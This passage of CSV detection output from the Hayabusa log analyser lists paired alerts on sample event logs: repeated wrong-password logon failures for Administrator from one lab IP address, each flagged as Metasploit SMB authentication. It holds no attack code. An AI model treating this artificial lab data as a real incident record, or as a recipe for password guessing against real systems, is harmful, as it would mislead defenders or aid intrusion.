Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UnAGy86My6hVwt4J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HhFTzONSVEziRtgq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.208 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.251 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QdEv4ooC8AApqU1T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.251 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TxFGRBKVK732Aeu4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.292 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ITg8QH90LKkAQMLL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.336 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.377 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E8YKCN2uxmJtYxdW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.377 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.411 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lcVIqrTQbNLFW7Cr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.411 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.449 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: taZx68l1ci0i2XB0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.449 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.487 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Jjy0gZhZCc9dVGd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.487 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S1DxOWcNytmxHfxl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.525 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.555 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JGRFWos3MJeQ0oAr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.555 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.593 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I3YXVTiQAGbf57TH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.593 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eWNsBwoGd36krY2U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.629 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HIobpWCoOHdD76lL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.668 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W91ruUEdXwRcMxVB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.704 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.743 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6PEs7fp97cYFf4vx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.743 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.781 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hQelUX0kwLfpJnr0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.781 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t88CBspQqbiO1IPc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.824 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.864 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zELW2Upo3jRCIqJk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.864 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.900 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QfcyJGLYmu93JBIL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.900 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3t2nKPZHZvcXM3QA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.940 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.980 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oiDRonqdEM2YJvz9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.980 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wJPF4GUypkDkTz56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.012 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cd5YRVIoXx8LoYpK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.060 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.106 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H49I2Xp2Gz1Jj0Wh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.106 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.143 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZMSWWzskoRfYBGny : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.143 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.190 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GLm2PolKMBsYkPnN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.190 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2ZjHWhG2rXzYWskz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.280 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.325 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FOZzVedHYODB5Yvd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.325 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xVaRybjI4HdZV0Zs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.372 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.411 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tTcl30MvvycjFcQb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.411 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.449 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fVZqbCr9EwmV4gNE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.449 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zVwhii0TVmCkpDI0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.504 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Tx04CPPVa6WYY9G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.547 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gHyefIGqhIIy3ZI9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.584 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.627 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wrietoh4wgXcEvNd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.627 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9WW0Y5PW2JfCCdyR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.668 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tmXsMJ0ELK4qiNY6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.704 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yeftUqriSoxCgmDy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.742 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.769 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 60JE9WQQ8N00j65B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.769 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r0rt2yVAEH6V4IIS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.816 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pay98C2Gr1di7qQd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.852 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.881 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8TyPDYm9QCAmqj7h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.881 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Dw3iK7DQMVXy8LW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.927 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.977 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BMuO0QEkxpKRv4Vl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.977 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RaHECaQDXCXQc9Xw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.016 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ewXT2VcARiaNLIxJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.060 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 